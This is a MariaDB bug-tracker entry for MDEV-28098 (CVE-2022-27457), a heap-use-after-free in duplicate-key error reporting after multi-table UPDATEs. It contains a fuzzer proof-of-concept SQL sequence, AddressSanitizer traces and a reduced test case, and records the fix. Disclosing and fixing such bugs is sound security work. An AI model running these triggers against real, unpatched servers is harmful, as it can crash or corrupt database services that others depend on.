MariaDB Server MDEV-28098

incorrect key in "dup value" error after long unique

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Blocker
Resolution:	Fixed
Affects Version/s:	10.9.0, 10.4, 10.5, 10.6, 10.7, 10.8
Fix Version/s:	10.4.25, 10.5.16, 10.6.8, 10.7.4
Component/s:	Data Manipulation - Insert, (1)
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

```
CREATE TABLE v0 ( v3 FLOAT PRIMARY KEY NULL , v2 TEXT UNIQUE NOT NULL , v1 INT UNIQ
 CREATE TABLE v4 ( v6 INT UNIQUE UNIQUE PRIMARY KEY UNIQUE , v5 TEXT , VALUE INT NO
 INSERT INTO v0 VALUES ( -32768 , -128 , 58 ) , ( -1 , 44 , -128 ) ;
 INSERT INTO v4 VALUES ( 50 , 61 , -1 ) , ( -2147483648 , -128 , 0 ) ;
 UPDATE v0 AS v0 SET v2 = ( NOT ( ( v1 = 8 OR 'x' = -1 ) IS NULL ) ) , v3 = -128 ;
 UPDATE v0 AS ONE NATURAL JOIN v4 SET v1 = v2 , v5 = 0 ;
 UPDATE v4 NATURAL JOIN v0 VALUE SET v5 = v3 , v1 = 83 ;
 UPDATE v0 SET v2 = 'x' * 'x' , v1 = -1 WHERE v3 IN ( 16 , 36 , NULL , 0 ) ;
```

report (compiled with ASAN):

```
=================================================================
==9471==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000c3288
READ of size 1 at 0x6290000c3288 thread T16
    #0 0x2b12084 in my_mb_wc_latin1 /root/mariadb/strings/ctype-latin1.c:376:18
    #1 0x2bd45cb in my_convert_using_func /root/mariadb/strings/ctype.c:1161:18
    #2 0xb5b9b7 in err_conv(char*, unsigned int, char const*, unsigned int, cha
    #3 0x1a06285 in ErrBuff::set_str(char const*, unsigned long, charset_info_s
    #4 0x1a06285 in ErrConvString::lex_cstring() const /root/mariadb/sql/sql_er
    #5 0x1a06285 in field_unpack(String*, Field*, unsigned char const*, unsigne
    #6 0x1a06d36 in key_unpack(String*, TABLE*, st_key*) /root/mariadb/sql/key.
```

```
#7 0x15cfdc3 in print_keydup_error(TABLE*, st_key*, char const*, unsigned l
#8 0x15d2509 in print_keydup_error(TABLE*, st_key*, unsigned long) /root/ma
#9 0x15d2509 in handler::print_error(int, unsigned long) /root/mariadb/sql/
#10 0x100e249 in multi_update::send_data(List<Item>&) /root/mariadb/sql/sql
#11 0xdb5094 in select_result_sink::send_data_with_check(List<Item>&, st_se
#12 0xdb5094 in end_send(JOIN*, st_join_table*, bool) /root/mariadb/sql/sql
#13 0xe315ff in evaluate_join_record(JOIN*, st_join_table*, int) /root/mari
#14 0xd4c13a in sub_select(JOIN*, st_join_table*, bool) /root/mariadb/sql/s
#15 0xe315ff in evaluate_join_record(JOIN*, st_join_table*, int) /root/mari
```

Issue Links

relates to

MDEV-371 Unique indexes for blobs		CLOSED
MDEV-25813 ASAN errors in err_conv / field_unpack upon multi-UPDATE...		CONFIRMED

links to

CVE-2022-27457

Activity

Alice Sherepa added a comment - 2022-03-17 14:34

Thank you for the report!
It is reproducible on 10.4-10.9, with InnoDB.
no visible effect on non-debug build.

```
--source include/have_innodb.inc
CREATE TABLE t1 (v3 int PRIMARY KEY, v2 text(100) UNIQUE NOT NULL, v1 INT UNIQ
INSERT INTO t1 VALUES ( -32768 , -128 , 58 ) , ( -1 , 44 , -128 );

CREATE TABLE t2 (v6 INT PRIMARY KEY, v5 TEXT, a INT NOT NULL) engine=innodb;
INSERT INTO t2 VALUES ( 50 , 61 , -1 ) , ( -2147483648 , -128 , 0 );

--error 1062
UPDATE t1 SET v2 = ( NOT ( ( v1 = 8 OR 'x' = -1 ) IS NULL ) ) , v3 = -128;
--error 1062
UPDATE t1 NATURAL JOIN t2 SET v1 = v2 , v5 = 0;

--error 1062
UPDATE t2 NATURAL JOIN t1 a SET v5 = v3 , v1 = 83;

UPDATE t1 SET v2 = 'x' * 'x'   v1 = -1 WHERE v3 IN (16,36,NULL,0);
```

```
UPDATE t1 SET v2 = ^     ^ , v1 = 1 WHERE v3 IN (10,50,NULL,0);
```

10.4 069139a549a62f26d566c1ae

```
Version: '10.4.25-MariaDB-debug-log'
================================================================
==501721==ERROR: AddressSanitizer: heap-use-after-free on address 0x629000
READ of size 4 at 0x6290002da288 thread T27
    #0 0x558133133d41 in my_convert /10.4/src/strings/ctype.c:1109
    #1 0x55813111549e in copy_and_convert(char*, unsigned long, charset_in
    #2 0x55813130bc36 in err_conv(char*, unsigned int, char const*, unsign
    #3 0x55813113a720 in ErrBuff::set_str(char const*, unsigned long, char
    #4 0x55813113aabc in ErrConvString::ptr() const /10.4/src/sql/sql_erro
    #5 0x558131e51961 in field_unpack(String*, Field*, unsigned char const
    #6 0x558131e52055 in key_unpack(String*, TABLE*, st_key*) /10.4/src/sq
    #7 0x558131b95a75 in print_keydup_error(TABLE*, st_key*, char const*,
    #8 0x558131b95d30 in print_keydup_error(TABLE*, st_key*, unsigned long
    #9 0x558131b96301 in handler::print_error(int, unsigned long) /10.4/sr
    #10 0x5581316b664a in multi_update::send_data(List<Item>&) /10.4/src/s
    #11 0x558131525a7a in end_send /10.4/src/sql/sql_select.cc:21823
    #12 0x55813151de36 in evaluate_join_record /10.4/src/sql/sql_select.cc
    #13 0x55813151c76b in sub_select(JOIN*, st_join_table*, bool) /10.4/sr
```

People

Assignee:

Sergei Golubchik

Reporter:

Jingzhou Fu

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

Dates

Created:

2022-03-16 09:59

Updated:

2022-05-30 17:58

Resolved:

2022-04-28 11:18

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.